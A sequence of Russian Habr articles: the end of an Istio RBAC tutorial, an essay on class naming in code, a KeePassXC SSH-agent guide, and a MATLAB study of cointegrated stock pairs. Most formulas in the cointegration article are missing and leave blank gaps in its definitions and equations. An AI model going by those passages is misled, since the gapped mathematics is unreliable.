А через `regular-user-binding` применим ServiceRole ко всем посетителям страницы ([regular-user-service-role-binding.yaml](https://gist.github.com/rinormaloku/9226ab3e5e4dce5e233e9de1fe19ce70#file-regular-user-service-role-binding-yaml)):
```
apiVersion: "rbac.istio.io/v1alpha1"
kind: ServiceRoleBinding
metadata:
name: regular-user-binding
namespace: default
spec:
subjects:
- user: "*"
roleRef:
kind: ServiceRole
name: "regular-user"
```
Означает ли «все пользователи», что и неаутентифицированные пользователи получат доступ к SA WebApp? Нет, политика проверит валидность JWT-токена.
Применим конфигурации:
```
$ kubectl apply -f resource-manifests/istio/security/user-role.yaml
servicerole.rbac.istio.io/regular-user created
servicerolebinding.rbac.istio.io/regular-user-binding created
```
Конфигурация доступа для модераторов
------------------------------------
Для модераторов мы хотим включить доступ ко всем сервисам ([mod-service-role.yaml](https://gist.github.com/rinormaloku/19c03fde85646ef8438cc9082bc387ad#file-mod-service-role-yaml)):
```
apiVersion: "rbac.istio.io/v1alpha1"
kind: ServiceRole
metadata:
name: mod-user
namespace: default
spec:
rules:
- services: ["*"]
paths: ["*"]
methods: ["*"]
```
Но мы хотим таких прав только для тех пользователей, в access-токене которых есть claim `https://sa.io/group` со значением `Moderators` ([mod-service-role-binding.yaml](https://gist.github.com/rinormaloku/ae0e91667d88f3501303741aa76d3b6c#file-mod-service-role-binding-yaml)):
```
apiVersion: "rbac.istio.io/v1alpha1"
kind: ServiceRoleBinding
metadata:
name: mod-user-binding
namespace: default
spec:
subjects:
- properties:
request.auth.claims[https://sa.io/group]: "Moderators"
roleRef:
kind: ServiceRole
name: "mod-user"
```
Применим конфигурации:
```
$ kubectl apply -f resource-manifests/istio/security/mod-role.yaml
servicerole.rbac.istio.io/mod-user created
servicerolebinding.rbac.istio.io/mod-user-binding created
```
Из-за кэширования в envoy'ях для вступления правил авторизации в силу может потребоваться пара минут. После этого вы сможете убедиться, что у пользователей и модераторов разные уровни доступа.
Заключение по этой части
------------------------
Ну вот серьёзно: вы где-нибудь видели более простой, не требующий усилий, масштабируемый и безопасный подход к аутентификации и авторизации?
Всего лишь три ресурса Istio (RbacConfig, ServiceRole, and ServiceRoleBinding) потребовались для того, чтобы добиться тонкого контроля над аутентификацией и авторизацией доступа конечных пользователей к сервисам.
Вдобавок, мы вынесли заботу об этих проблемах из наших сервисов в envoy'и, добившись:
* уменьшения количества типового кода, в котором могут оказаться проблемы безопасности и баги;
* снижения количества глупых ситуаций, в которых один endpoint оказался доступным снаружи и забыл сообщить об этом;
* устранения необходимости в обновлении всех сервисов при каждом добавлении новой роли или права;
* того, что новые сервисы остаются простыми, безопасными и быстрыми.
Вывод
-----
Istio позволяет командам сфокусировать свои ресурсы на важных для бизнеса задачах, не добавляя накладные расходы сервисам, возвращая их к статусу «микро».
Статья (в трёх частях) предоставила базовые знания и готовую практическую инструкцию для начала работы с Istio в реальных проектах.
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «Назад к микросервисам вместе с Istio»: [часть 1 (знакомство с основными возможностями)](https://habr.com/ru/company/flant/blog/438426/), [часть 2 (маршрутизация, управление трафиком)](https://habr.com/ru/company/flant/blog/440378/);
* «[Conduit — легковесный service mesh для Kubernetes](https://habr.com/ru/company/flant/blog/349496/)»;
* «[Что такое service mesh и почему он мне нужен [для облачного приложения с микросервисами]?](https://habr.com/ru/company/flant/blog/327536/)». | https://habr.com/ru/post/443668/ | null | ru | null |
# Код живой и мёртвый. Часть первая. Объекты
Код — это мысль. Появляется задача, и разработчик думает, как её решить, как выразить требования в функциях и классах, как сдружить их, как добиться строгости и корректности и как подмастить бизнес. Практики, методики, принципы, шаблоны и подходы — всё нужно учесть и всё нужно помнить.
И вместе с этим мы видим повсеместную эпидемию менеджеров, хелперов, сервисов, контроллеров, селекторов, адаптеров, геттеров, сеттеров и другой нечисти: всё это мёртвый код. Он сковывает и загромождает.
Бороться предлагаю вот как: нужно представлять программы как текст на естественном языке и оценивать их соответственно. Как это и что получается — в статье.
Оглавление цикла
----------------
1. Объекты
2. [Действия и свойства](https://habr.com/ru/post/447674/)
3. [Код как текст](https://habr.com/ru/post/447830/)
Пролог
------
Мой опыт скромный (около четырёх лет), но чем больше работаю, тем сильнее понимаю: если программа нечитаемая, толку от неё нет. Давно уже известно и избито напоминать — код не только решает какую-то задачу *сейчас*, но ещё и *потом*: поддерживается, расширяется, правится. При этом он всегда: читается.
Ведь это текст.
Эстетика кода как текста — ключевая тема цикла. Эстетика тут — стёклышко, через которое мы смотрим на вещи и говорим, да, это хорошо, да, это красиво.
В вопросах красоты и понятности, слова имеют большое значение. Сказать: *"В настоящий момент мои перцепции находятся в состоянии притупленности из-за высокого уровня этанола в крови"* совсем не то же самое, что: *"Я напился"*.
Нам повезло, программы почти полностью состоят из слов.
Скажем, нужно сделать *“персонажа, у которого есть здоровье и мана, он ходит, атакует, использует заклинания”*, и сразу видно: есть **объекты** (персонаж, здоровье, мана, заклинание), **действия** (ходить, атаковать, использовать) и **свойства** (у персонажа есть здоровье, мана, скорость произнесения заклинаний) — всё это будут имена: классов, функций, методов, переменных, свойств и полей, словом, всего того, на что распадается язык программирования.
Но различать классы от структур, поля от свойств и методы от функций я не буду: персонаж как часть повествования не зависит от технических деталей (что его можно представить или ссылочным, или значимым типом). Существенно другое: что это персонаж и что назвали его `Hero` (или `Character`), а не `HeroData` или `HeroUtils`.
Теперь возьму то самое стёклышко эстетики и покажу, как сегодня пишется некоторый код и почему он далёк от совершенства.
Объекты
-------
В C# (и не только) объекты — экземпляры классов, которые размещаются в куче, живут там некоторое время, а затем сборщик мусора их удаляет. Ещё это могут быть созданные структуры на стеке или ассоциативные массивы, или что-нибудь ещё. Для нас же они: имена классов, существительные.
Имена в коде, как и имена вообще, могут запутывать. Да и редко встретишь некрасивое название, но красивый объект. Особенно, если это `Manager`.
### Менеджер вместо объекта
`UserService`, `AccountManager`, `DamageUtils`, `MathHelper`, `GraphicsManager`, `GameManager`, `VectorUtil`.
Тут главенствует не точность и осязаемость, а нечто смутное, уходящее куда-то в туман. Для таких имён многое позволительно.
Например, в какой-нибудь `GameManager` можно добавлять что угодно, что относится к *игре* и *игровой* логике. Через полгода там наступит технологическая сингулярность.
Или, случается, нужно работать с фейсбуком. Почему бы не складывать весь код в одно место: `FacebookManager` или `FacebookService`? Звучит соблазнительно просто, но столь размытое *намерение* порождает столь же размытое *решение*. При этом мы знаем: в фейсбуке есть пользователи, друзья, сообщения, группы, музыка, интересы и т.д. Слов хватает!
Мало того, что слов хватает: мы ещё ими пользуемся. Только в обычной речи, а не среди программ.
И ведь не `GitUtils`, а `IRepository`, `ICommit`, `IBranch`; не `ExcelHelper`, а `ExcelDocument`, `ExcelSheet`; не `GoogleDocsService`, а `GoogleDocs`.
Всякая предметная область наполнена объектами. *“Предметы обозначились огромными пустотами”*, *“Сердце бешено колотилось”*, *“Дом стоял”* — объекты действуют, чувствуются, их легко представить; они где-то тут, осязаемые и плотные.
Вместе с этим подчас видишь такое: в репозитории `Microsoft/calculator` — `CalculatorManager` с методами: `SetPrimaryDisplay`, `MaxDigitsReached`, `SetParentDisplayText`, `OnHistoryItemAdded`…
*(Ещё, помню, как-то увидел* `UtilsManager`*...)*
Бывает и так: хочется расширить тип `List<>` новым поведением, и рождаются `ListUtils` или `ListHelper`. В таком случае лучше и точнее использовать *только* методы расширения — `ListExtensions`: они — часть понятия, а не свалка из процедур.
Одно из немногих исключений — `OfficeManager` как должность.
В остальном же… Программы не должны компилироваться, если в них есть такие слова.
### Действие вместо объекта
`IProcessor`, `ILoader`, `ISelector`, `IFilter`, `IProvider`, `ISetter`, `ICreator`, `IOpener`, `IHandler`; `IEnableable`, `IInitializable`, `IUpdatable`, `ICloneable`, `IDrawable`, `ILoadable`, `IOpenable`, `ISettable`, `IConvertible`.
Тут в основе сущности полагается процедура, а не понятие, и код снова теряет образность и читаемость, а слово привычное заменяется искусственным.
Куда живее звучит `ISequence`, а не `IEnumerable`; `IBlueprint`, а не `ICreator`; `IButton`, а не `IButtonPainter`; `IPredicate`, а не `IFilter`; `IGate`, а не `IOpeneable`; `IToggle`, а не `IEnableable`.
Хороший сюжет рассказывает о персонажах и их развитии, а не о том, как создатель создаёт, строитель строит а рисователь рисует. Действие не может в полной мере представлять объект. `ListSorter` это не `SortedList`.
Возьмём, к примеру, `DirectoryCleaner` — объект, занимающийся очисткой папок в файловой системе. Элегантно ли? Но мы никогда не говорим: *“Попроси очистителя папок почистить D:/Test”*, всегда: *“Почисти D:/Test”*, поэтому `Directory` с методом `Clean` смотрится естественнее и ближе.
Интереснее более живой случай: `FileSystemWatcher` из .NET — наблюдатель за файловой системой, сообщающий об изменениях. Но зачем целый наблюдатель, если изменения *сами* могут сообщить о том, что они случились? Более того, они должны быть неразрывно связаны с файлом или папкой, поэтому их также следовало бы поместить в `Directory` или `File` (свойством `Changes` с возможностью вызвать `file.Changes.OnNext(action)`).
Такие отглагольные имена как будто оправдывает шаблон проектирования `Strategy`, предписывающий *“инкапсулировать семейство алгоритмов”*. Но если вместо *“семейства алгоритмов”* найти объект подлинный, существующий в повествовании, мы увидим, что стратегия — всего лишь обобщение.
Чтобы объяснить эти и многие другие ошибки, обратимся к философии.
### Существование предшествует сущности
`MethodInfo`, `ItemData`, `AttackOutput`, `CreationStrategy`, `StringBuilder`, `SomethingWrapper`, `LogBehaviour`.
Такие имена объединяет одно: их бытие основано на частностях.
Бывает, решить задачу быстро что-то мешает: чего-то нет или есть, но не то. Тогда думаешь: *"Мне бы сейчас помогла штука, которая умеет делать X"* — так мыслится *существование*. Затем для "делания" X пишется `XImpl` — так появляется *сущность*.
Поэтому вместо `IArrayItem` чаще встречается `IIndexedItem` или `IItemWithIndex`, или, скажем, в Reflection API вместо *метода* (`Method`) мы видим только *информацию* о нём (`MethodInfo`).
Более верный путь: столкнувшись с необходимостью существования, *найти* сущность, которая реализует и его, и, поскольку такова её природа, другие.
Например, захотели менять значение типа `string` без создания промежуточных экземпляров — получилось прямолинейное решение в виде `StringBuilder`, тогда как, на мой взгляд, уместнее — `MutableString`.
Вспомним файловую систему: не нужен `DirectoryRenamer` для переименования папок, поскольку, как только соглашаешься с наличием объекта `Directory`, действие *уже* находится в нём, просто в коде ещё не *отыскали* соответствующий метод.
Если хочется описать способ взятия *лока*, то необязательно уточнять, что это `ILockBehaviour` или `ILockStrategy`, куда проще — `ILock` (с методом `Acquire`, возвращающим `IDisposable`) или `ICriticalSection` (с `Enter`).
Сюда же — всяческие `Data`, `Info`, `Output`, `Input`, `Args`, `Params` (реже `State`) — объекты, напрочь лишённые поведения, потому что рассматривались однобоко.
Где существование первично, там частное перемешано с общим, а имена объектов запутывают — приходится вчитываться в каждую строчку и разбираться, куда подевался персонаж и почему тут только его `Data`.
### Причудливая таксономия
`CalculatorImpl`, `AbstractHero`, `ConcreteThing`, `CharacterBase`.
Всё по тем же причинам, описанным выше, мы иногда видим объекты, для которых точно указывается место в иерархии. Вновь существование мчит впереди, вновь мы видим, как сиюминутную необходимость наспех выплеснули в код, не обдумав последствия.
Ведь разве бывает человек (`Human`) — наследник базового человека (`HumanBase`)? А как это, когда `Item` наследует `AbstractItem`?
Бывает, хотят показать, что есть не `Character`, а некое "сырое" подобие — `CharacterRaw`.
`Impl`, `Abstract`, `Custom`, `Base`, `Concrete`, `Internal`, `Raw` — признак неустойчивости, расплывчатости архитектуры, который, как и ружье из первой сцены, позже обязательно выстрелит.
### Повторения
Со вложенными типами бывает такое: `RepositoryItem` — в `Repository`, `WindowState` — в `Window`, `HeroBuilder` — в `Hero`.
Повторения разрежают смысл, усугубляют недостатки и только способствуют переусложнённости текста.
### Избыточные детали
Для синхронизации потоков нередко используется `ManualResetEvent` с таким API:
```
public class ManualResetEvent
{
// Все методы — часть `EventWaitHandle`.
void Set();
void Reset();
bool WaitOne();
}
```
Лично мне каждый раз приходится вспоминать, чем отличаются `Set` от `Reset` (неудобная грамматика) и что вообще такое *"вручную сбрасывающееся событие"* в контексте работы с потоками.
В таких случаях проще использовать далёкие от программирования (но близкие к повседневности) метафоры:
```
public class ThreadGate
{
void Open();
void Close();
bool WaitForOpen();
}
```
Тут уж точно ничего не перепутаешь!
Иногда доходит до смешного: уточняют, что *предметы* — не просто `Items`, а обязательно `ItemsList` или `ItemsDictionary`!
Впрочем, если `ItemsList` не смешно, то `AbstractInterceptorDrivenBeanDefinitionDecorator` из *Spring* — вполне. Слова в этом имени — лоскуты, из которых сшито исполинское чудище. Хотя… Если это чудище, то что тогда — `HasThisTypePatternTriedToSneakInSomeGenericOrParameterizedTypePatternMatchingStuffAnywhereVisitor`? Надеюсь, *legacy*.
Кроме имён классов и интерфейсов, часто встречаешь избыточность и в переменных или полях.
Например, поле типа `IOrdersRepository` так и называют — `_ordersRepository`. Но насколько важно сообщать о том, что заказы представлены репозиторием? Ведь куда проще — `_orders`.
Ещё, бывает, в LINQ-запросах пишут полные имена аргументов лямбда-выражений, например, `Player.Items.Where(item => item.IsWeapon)`, хотя что это предмет (`item`) мы и без того понимаем, глядя на `Player.Items`. Мне в таких случаях нравится использовать всегда *один и тот же* символ — `x`: `Player.Items.Where(x => x.IsWeapon)` (с продолжением в `y`, `z` если это функции внутри функций).
Итого
-----
Признаюсь, с таким началом найти объективную правду будет непросто. Кто-то, например, скажет: писать `Service` или не писать — вопрос спорный, несущественный, вкусовщина, да и какая вообще разница, если работает?
Но и из одноразовых стаканчиков можно пить!
Я убеждён: путь к содержанию лежит через форму, и если на мысль не смотрят, её как бы и нет. В тексте программы всё работает так же: стиль, атмосфера и ритм помогают выразиться не путано, а понятно и ёмко.
Имя объекта — не только его лицо, но и бытие, самость. Оно определяет, будет он бесплотным или насыщенным, абстрактным или настоящим, сухим или оживлённым. Меняется имя — меняется содержание.
В следующей [статье](https://habr.com/ru/post/447674/) поговорим об этом самом содержании и о том, какое оно бывает. | https://habr.com/ru/post/447404/ | null | ru | null |
# Храним SSH-ключи безопасно
Хочу рассказать как безопасно хранить SSH-ключи на локальной машине, не боясь того, что какое-то приложение может украсть или расшифровать их.
Статья будет полезна тем, кто так и не нашел элегантного решения после [паранои](https://www.opennet.ru/opennews/art.shtml?num=49082) в 2018 и продолжает хранить ключи в `$HOME/.ssh`.
Для решения данной проблемы предлагаю использовать [KeePassXC](https://keepassxc.org/), который является одним из лучших менеджеров паролей, он использует сильные алгоритмы шифрования, а также имеет встроенный SSH-агент.
Это дает возможность безопасно хранить все ключи прямо в базе паролей и автоматически добавлять их в систему при её открытии. Как только база будет закрыта, использование SSH-ключей также станет невозможным.
Первым делом добавим автозапуск SSH-агента при входе в систему, для этого откройте `~/.bashrc` в вашем любимом редакторе и добавьте в самый конец:
```
SSH_ENV="$HOME/.ssh/environment"
function start_agent {
echo "Initialising new SSH agent..."
/usr/bin/ssh-agent | sed 's/^echo/#echo/' > "${SSH_ENV}"
echo succeeded
chmod 600 "${SSH_ENV}"
. "${SSH_ENV}" > /dev/null
}
# Source SSH settings, if applicable
if [ -f "${SSH_ENV}" ]; then
. "${SSH_ENV}" > /dev/null
#ps ${SSH_AGENT_PID} doesn't work under cywgin
ps -ef | grep ${SSH_AGENT_PID} | grep ssh-agent$ > /dev/null || {
start_agent;
}
else
start_agent;
fi
```
После чего нам нужно включить поддержку в KeePassXC:
**Инструменты** --> **Параметры** --> **SSH-агент** --> **Включить SSH-агент**
На этом настройка завершена, теперь попробуем добавить новый SSH-ключ в KeePassXC:
Нажимаем на иконку с ключом, затем заполняем данные:
Если ключ защищен паролем, укажите так-же пароль к нему
На вкладке **Дополнительные** загружаем вложение с нашим **id\_rsa**:
На вкладке **SSH-агент**, отметим:
* **Добавить ключ в агент при открытии/разблокировке базы данных**
* **Убрать ключ из агента при закрытии/блокировке базы данных**
Далее выберем наш ключ (**id\_rsa**) во вложении
И нажмем кнопку **Добавить в агент**:
Теперь при запуске KeePassXC ключ будет автоматически добавляться в SSH-агент, таким образом его можно больше не хранить на диске! | https://habr.com/ru/post/435270/ | null | ru | null |
# Идентификация коинтегрированных пар акций на фондовых рынках
Цель данной статьи — поделиться результатами исследования по выявлению коинтегрированных пар акций, которые представлены на Московской и Нью-Йоркской биржах, с помощью теста Энгла-Грэнджера.
Если мы возьмём две акции [со стационарными приращениями](https://habrahabr.ru/post/314330/), и найдём их некоторую линейную комбинацию (спред), которая будет стационарна, то такой временной ряд будет называться коинтегрированным. Наличие коинтеграции даёт нам возможность захеджироваться акциями и построить рыночно-нейтральную стратегию. Почему это возможно?
Принцип, на котором строится извлечение прибыли
-----------------------------------------------
Все мы знаем, что цена акции, рассматриваемая как временной ряд, может меняться весьма значительно. Если мы будем делать позицию в какой-то одной бумаге, то в большинстве случаев это будет очень рискованная игра, так как все риски, связанные с её волатильностью, мы возьмём на себя. Однако встречаются такие акции, от которых можно ожидать, что, будучи объединёнными в пару, подобные ряды будут не слишком далеко удаляться друг от друга. Эта концепция получила название долгосрочного динамического равновесия.
В контексте стационарности долгосрочное динамическое равновесие приобретает более точную форму. Если мы возьмём стационарный ряд спреда, построенного между двумя коинтегрированными бумагами, он будет иметь свойство возврата к среднему, то есть при любом отклонении от некоторого равновесия будет стремиться вернуться обратно. На этом принципе и строится рыночно-нейтральная стратегия.
Как на фондовых рынках находить пары, связанные долгосрочным динамическим равновесием?
Корреляция
----------
Первая мысль, которая приходит в голову — это вычислить корреляцию между двумя бумагами и торговать пары с сильной корреляцией. Этот подход терпит неудачу по двум причинам.
Во-первых, если бы ряды цен двух акций имели бы идеальную корреляцию, то есть если бы они изменялись в одном и том же направлении и в одной и той же пропорции, разность между рядами была бы равна нулю, и мы не смогли бы заработать никаких денег, потому что ни одна из акций никогда не будет слишком дорогой или слишком дешёвой.
Во-вторых, корреляция не даёт нам достаточной информации о взаимосвязи двух акций в долгосрочной перспективе. Например, возьмём большой и диверсифицированный портфель акций. Пусть эти акции также входят в фондовый индекс, и пусть веса акций в портфеле определяются их весами в индексе. Хотя портфель в долгосрочной перспективе должен двигаться в соответствии с индексом, будут периоды, когда акции, которые находятся в индексе, но не в портфеле, будут иметь необычные движения цен. Следовательно, эмпирические корреляции между портфелем и индексом в течение некоторого времени могут быть довольно низкими. Из-за этого при анализе мы просто отбросим такой портфель и упустим возможность заработать. Отсюда следует, что корреляция не является хорошим способом идентификации пар.
Лучше для идентификации пар использовать коинтеграцию.
Коинтеграция
------------
Часто для обеспечения стационарности экономических рядов мы берём разности. Это приводит к следующему определению интеграции.
Временной ряд называется интегрированным порядка  и обозначается , если он и его разности до порядка  включительно нестационарны, а его разность порядка  стационарна.
Нам для получения практических результатов потребуются только значения  и . Если , то сам ряд будет стационарным, и я для краткости далее буду обозначать такие ряды . Для  ряд будет [нестационарным со стационарными приращениями](https://habrahabr.ru/post/314330/) (разностями первого порядка), и я для краткости далее буду обозначать такие ряды .
Пусть у нас есть два  ряда,  и . Пусть, кроме того, их линейная комбинация  является  В этом случае ряды  и  называются коинтегрированными:
По сути, коинтеграция — это регрессия нестационарных рядов. Она означает, что, если  имеет нулевое среднее, то этот ряд будет редко далеко отклоняться от нуля и часто пересекать нулевой уровень. Иными словами, время от времени будет достигаться точное равновесие или близкое к нему состояние.
Коинтеграция логарифмов цен
---------------------------
Мы можем рассматривать коинтеграцию не только между ценами, но и между их логарифмами. К сожалению, коинтеграция между логарифмами цен двух акций менее очевидна и интуитивно понятна, чем просто коинтеграция между ценами двух акций. Тем не менее, почему коинтеграция возможна и в случае логарифмов?
Объясняется это «гипотезой эффективного рынка», моделью ценообразования опционов и леммой Ито. На самом деле, у гипотезы эффективного рынка нет строгой формализации. Эта гипотеза предполагает, что на ликвидном рынке, где цена актива будет результатом уравновешенного спонтанного спроса и предложения, текущая цена будет точно отражать всю информацию, которая доступна игрокам на рынке. Будущие изменения в цене могут быть только результатом «новостей», которые по определению непредсказуемы, так что лучший прогноз цены на любую будущую дату — это просто цена сегодня. Другими словами, цена сегодня — это вчерашняя цена плюс случайный элемент.
Гипотеза эффективного рынка связана с основной моделью ценообразования опционов. Фундаментальное предположение этой модели заключается в том, что цена базового актива  удовлетворяет процессу геометрического броуновского движения (GBM):
где  и  — константы, которые представляют собой, соответственно, смещение в цене актива и волатильность доходности, а  — это винеровский процесс, то есть приращения  независимы и нормально распределены с нулевым средним и дисперсией .
Чтобы увидеть, как уравнение GBM связано с гипотезой эффективного рынка, нужно применить к нему лемму Ито. В чём она заключается? Допустим, что значения переменной  подчиняются стохастическому дифференциальному уравнению (СДУ)
где  — это винеровский процесс, а  и  – функции, которые зависят от переменных  и . Допустим также, что функция  зависит от переменных  и  и имеет производные , , . Лемма Ито утверждает, что данная функция подчиняется уравнению
По сути, лемма Ито — это формула замены переменных в СДУ, где при определённых условиях функция от некоторого СДУ также является СДУ.
Вернёмся к уравнению GBM и преобразуем его в виде
Полагая , по лемме Ито получаем:
Введём функцию . Поскольку
получаем:
Уравнение
можно переписать в дискретном виде
где , а , то есть здесь процесс  не просто стационарный, а является белым шумом. Понятие стационарного процесса шире, чем белый шум, и оно отличается тем, что стационарный процесс имеет постоянное матожидание, но оно не обязательно должно равняться нулю, как в случае с белым шумом.
Дискретную версию уравнения, приведённого выше, можно, в свою очередь, записать в виде:
Данное уравнение – это модель случайного блуждания (RW), которая обычно применяется для моделирования логарифмов цен на эффективных финансовых рынках, и которая является примером  процесса. Таким образом, коинтеграция также может относиться и к логарифмам цен акций.
Несмотря на то, что некоторые скептики (в частности, я) могут сомневаться относительно адекватности описания цены акции уравнением GBM и, следовательно, возможности коинтеграции между логарифмами цен, эмпирические данные успешно развеивают этот скептицизм. Я проверяла: если коинтегрированы цены, то коинтегрированы и их логарифмы.
Тестирование коинтеграции
-------------------------
Первыми метод тестирования коинтеграции придумали Роберт Энгл и Клайв Грэнджэр. Они в 2003 году получили Нобелевскую премию по экономике за разработку метода коинтеграции для анализа временных рядов. Описали они его за 15 лет до премии, в 1987 году в статье «Cointegration and error correction: representation, estimation and testing».
Концептуально, для того, чтобы по имеющимся наблюдениям определить, являются ли временные ряды  и  коинтегрированными, нам необходимо провести тестирование нулевой гипотезы  на отсутствие коинтеграции между рядами  и  против альтернативной гипотезы . Если нулевая гипотеза отвергается, признаётся наличие коинтеграции.
Оригинальный тест на коинтеграцию получил название теста Энгла-Грэнджера в честь его основателей. Он представляет собой двухшаговый процесс, которому предшествует проверка  и  на интегрируемость первого порядка,  и . Мы это подробно обсуждали в статье [про стационарные приращения](https://habrahabr.ru/post/314330/). По сути, там описаны все подготовительные работы, которые необходимо сделать до того, как приступить непосредственно к тесту Энгла-Грэнджера. Допустим, мы это сделали.
Ряды  и  являются коинтегрированными, если их спред , то есть является стационарным. Первый шаг в тесте Энгла-Грэнджера заключается в получении состоятельной оценки . Это делается с помощью применения МНК (метода наименьших квадратов) для линейной регрессии к уравнению . Второй шаг заключается в проверке на стационарность остатков , полученных при МНК-оценивании коинтеграционного уравнения.
Обычно стационарность мы проверяем тестом Дики-Фуллера. Однако в 1990 году Филлипс и Улиарис в статье «Asymptotic properties of residual based tests for cointegration» показали, что к проверке ряда  нельзя применять тест Дики-Фуллера.
Дело в том, что МНК «выбирает» остатки так, чтобы они имели наименьшую возможную вариацию, поэтому, даже если переменные не коинтегрированы, МНК делает остатки «похожими» на стационарные. Из-за этого при использовании теста Дики-Фуллера гипотеза нестационарности отвергается слишком часто и, соответственно, ошибочно принимается гипотеза наличия коинтеграции.
Если мы изучим статью авторов, то увидим, что в приложении они дают таблицы с критическими значениями, однако они оказались довольно неточными. Позднее, в 1991 году, Энгл и Грэнджер издали книжку «Long-Run Economic Relationship». В ней в 13-ой главе под названием «Critical value for cointegration tests» МакКиннон привёл уточнённые асимптотические критические значения -статистики, которые были получены имитационным моделированием и подходят для данного случая.
В 1993 году МакКиннон вместе с Дэвидсоном издали свою книжку «Estimation and Inference in Econometrics», где тоже привели уточнённые критические значения. Таким образом, если  (остатки стационарны), то  (спред тоже стационарен), что означает наличие коинтеграции между  и .
В общем, метод Энгла-Грэнджера сводится к:
1. оценке  с помощью МНК;
2. вычислению спреда  и тестированию  на стационарность с помощью уточнённых критических значений.
В стандартных пакетах типа матлаба этот тест уже написан, давайте им воспользуемся.
Тестирование коинтеграции в MATLAB
----------------------------------
Итак, у нас есть два ряда цен акций,  и . Мы хотим, чтобы  и  были коинтегрированными, то есть чтобы спред  был стационарным. Если мы хотим получить стационарный ряд с нулевым средним, то можем включить постоянную в уравнение, так что спред будет выглядеть как .
Начнём с результатов, полученных на Московской бирже, которые я описывала в статье [про стационарные приращения](https://habrahabr.ru/post/314330/). Там я нашла пять  рядов. Составим из них всевозможные комбинации и проверим на коинтеграцию с помощью теста Энгла-Грэнджера.
Сначала выберем из базы данных Microsoft SQL Server, в которой я храню спарсенные с Московской биржи значения цен акций, нужные нам бумаги и импортируем их в виде массива:
```
conn = database.ODBCConnection('uXXXXXX.mssql.masterhost.ru', 'uXXXXXX', 'XXXXXXXXXX');
curs = exec(conn, 'SELECT ALL PriceId, StockId, Date, Price FROM StockPrices WHERE StockId IN (52, 55, 67, 75, 162) AND Date >= ''2016-01-01 00:00:00.000'' AND Date < ''2017-01-01 00:00:00.000''');
curs = fetch(curs);
data = curs.Data
sqlquery = 'SELECT ALL StockId, ShortName, Code FROM Stocks WHERE StockId IN (52, 55, 67, 75, 162)';
curs = exec(conn, sqlquery);
curs = fetch(curs);
names = curs.Data
close(conn);
```
В этом массиве для четырёх из пяти акций есть данные с января за 252 торговых дня. Однако, для одной из акций сделки начали совершаться только в феврале, так что данные есть только за 215 торговых дней. Нам критически важно, чтобы у всех акций массив цен был одинаковой длины, поэтому в таких ситуациях у нас есть два варианта.
Первый вариант — исключить акцию с коротким массивом цен из эксперимента и использовать максимальное количество измерений цены для того, чтобы получить более точные результаты. Второй вариант — пожертвовать частью данных и включить все акции в угоду большей практичности. Я проводила оба эксперимента, и в данном случае разницы в результатах никакой не было, поэтому давайте просто обрежем январские данные:
```
dates = unique(datetime(data(:,3)));
% Cut dates array until price of stock with StockId=67 is not empty.
dates(1:37,:) = [];
prices = zeros(length(dates),length(names));
for i = 1:length(names)
% Indexes with current stock's data
indexes = find(cell2mat(data(:,2)) == cell2mat(names(i,1)));
if length(indexes) == 252
indexes(1:37,:) = [];
end
for j=1:length(dates)
% Fill prices according to date
prices(j,i) = cell2mat(data(indexes(j),4));
end
end
```
Тест Энгла-Грэнджера выполняется с помощью функции egcitest, которая на вход принимает массив из временных рядов, в данном случае размера , где  — количество торговых дней. На выходе функция возвращает логическое значение, равное 1, если нулевая гипотеза отвергается в пользу альтернативной, и 0 – иначе.
Следующая задача, которую нам надо решить, — какую акцию принять за , а какую — за . По-хорошему, надо попробовать и то, и другое, а затем сравнить тестовые статистики. В большинстве случаев, будет существовать как прямая, так и обратная регрессия. Давайте начнём со случая, когда .
Составим все возможные пары из пяти выявленных  рядов и выполним тест Энгла-Грэнджера как для регрессии со свободным членом (по умолчанию), так и без него (задаётся аргументом 'creg' со значением 'nc'):
```
isCoint = zeros(length(nchoosek(names(:,1),2)), 3);
k=1;
for i=1:length(names)
for j=i+1:length(names)
if mean(prices(:,i)) < mean(prices(:,j))
isCoint(k,1) = cell2mat(names(j,1));
isCoint(k,2) = cell2mat(names(i,1));
testPrices(:,1) = prices(:,j);
testPrices(:,2) = prices(:,i);
else
isCoint(k,1) = cell2mat(names(i,1));
isCoint(k,2) = cell2mat(names(j,1));
testPrices(:,1) = prices(:,i);
testPrices(:,2) = prices(:,j);
end
isCoint(k,3) = egcitest(testPrices);
isCoint(k,4) = egcitest(testPrices, 'creg', 'nc');
k = k + 1;
end
end
```
В случае регрессии со свободным членом программа два раза отвергает нулевую гипотезу в пользу альтернативной модели, выявляя коинтегрированные пары акций с тикерами (NKHP, VTRS), (NKHP, ZHIV). В случае регрессии без свободного члена программа один раз отвергает нулевую гипотезу в пользу альтернативной, выявляя коинтегрированную пару акций с тикерами (VSYDP, NKHP).
В случае обратной регрессии () со свободным членом программа два раза отвергает нулевую гипотезу в пользу альтернативной модели, выявляя коинтегрированные пары акций с тикерами (VTRS, NKHP), (ZHIV, NKHP). В случае регрессии без свободного члена программа четыре раза отвергает нулевую гипотезу в пользу альтернативной, выявляя коинтегрированные пары акций с тикерами (GRNT, VTRS), (GRNT, VSYDP), (GRNT, ZHIV), (GRNT, NKHP).
Давайте оценим значения  и , которые могут быть получены в качестве возвращаемых значений функции egcitest, и нарисуем спред:
```
% NKHP and VTRS
indexY = 5;
indexX = 1;
testPrices(:,1) = prices(:,indexY);
testPrices(:,2) = prices(:,indexX);
[h,pValue,stat,cValue,reg1,reg2] = egcitest(testPrices);
alpha = reg1.coeff(1);
beta = reg1.coeff(2);
spread = reg1.res;
plot(dates,spread)
legend(strcat(names(indexY,3),'-',names(indexX,3)));
```
Для акций с тикерами NKHP и VTRS получаем спред с коэффициентами  и :
Для обратной регрессии получаем «зеркальный» спред с коэффициентами  и :
Для акций с тикерами NKHP and ZHIV получаем спред с коэффициентами  и :
Для обратной регрессии получаем спред с коэффициентами  и :
Для акций с тикерами VSYDP and NKHP получаем спред с коэффициентом :
Аналогичные эксперименты были проведены для акций Нью-Йоркской фондовой биржи (NYSE). В результате для прямой регрессии было получено 158 коинтегрированных пар в случае регрессии со свободным членом и 130 коинтегрированных пар в случае регрессии без свободного члена. Для обратной регрессии было получено 170 коинтегрированных пар в случае регрессии со свободным членом и 144 коинтегрированные пары в случае регрессии без свободного члена.
Регрессионная статистика
------------------------
Давайте посмотрим на регрессионную статистику коинтегрированной регрессии для пары (NKHP, VTRS).
| Статистика | Прямая регрессия | Обратная регрессия |
| --- | --- | --- |
| Коэффициенты | $\beta = 37,5523$, $\alpha = 197,4397$ | $\beta = 0,0185$, $\alpha = -3,0064$ |
